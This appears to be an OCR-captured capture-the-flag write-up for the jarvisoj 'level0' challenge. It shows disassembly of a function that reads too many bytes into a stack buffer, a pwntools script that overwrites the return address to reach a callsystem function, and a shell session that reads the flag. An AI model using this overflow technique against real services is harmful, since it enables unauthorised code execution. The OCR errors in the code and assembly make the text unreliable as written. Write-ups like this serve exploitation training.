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'/root/pwn/level®’
Arch: amd64-64-1ittle

RELRO:
Stack:
NX:
PIE:
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public main
main proc near ; DATA XREF: _start+lDTo
var_18 = gword ptr -18h
var_4 = dword ptr -4
5 _unwind {
push rbp
mov rbp, rsp
sub rsp, 18h
mov [rbpt+var_4], edi
mov [rbptvar_18], rsi
mov edx, @Dh 3 n
mov esi, offset aHelloworld ; "Hello, Worldin"
mov edi, 1 ; Td
call _write
mov eax, @

call vulnerable_function
leave \
retn |

; } // starts at 4885C6
main endp
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public wulnerable_function
vulnerable_function prec near ; CODE XREF: main+28ip

buf = byte ptr -88h \

; _unwind {

push rbp

mov rbp, rsp

add rSp; B::::::::::::::EBh

lea rax, [rbp+buf]

mov edx, 288h ; nbytes

mov rsi, rax ; buf

mov edi, @ ; Td

call _read

leave .
retn

; } // starts at 488586
vulnerable_function endp
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FeglSTer_TM_cLlOnes . TEXT
_do_global dters_aux . text
frame_dummir . text
callzystem . text
vulnerable_Ntext
main text
_libe_e=u_init . text

Mificallsystem & F AR Kk, I Zexp:

#! usr/bin/env python
[from pwn import *

p=remote( 'pwn2.jarvisoj.com',9881)

payload="a'*0x88+p64(0x0400596)
p.recvuntil("Hello, World\n")
p.sendline(payload)
p.interactive()
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:~/pwn# python level®.py
[+] Opening connection to pwn2.jarvisoj.com on port 9881:
[#] Switching to interactive mode
1s

flag
level® x64

cat flag
CTF{713ca3944e92180e0ef03171981dcd41}
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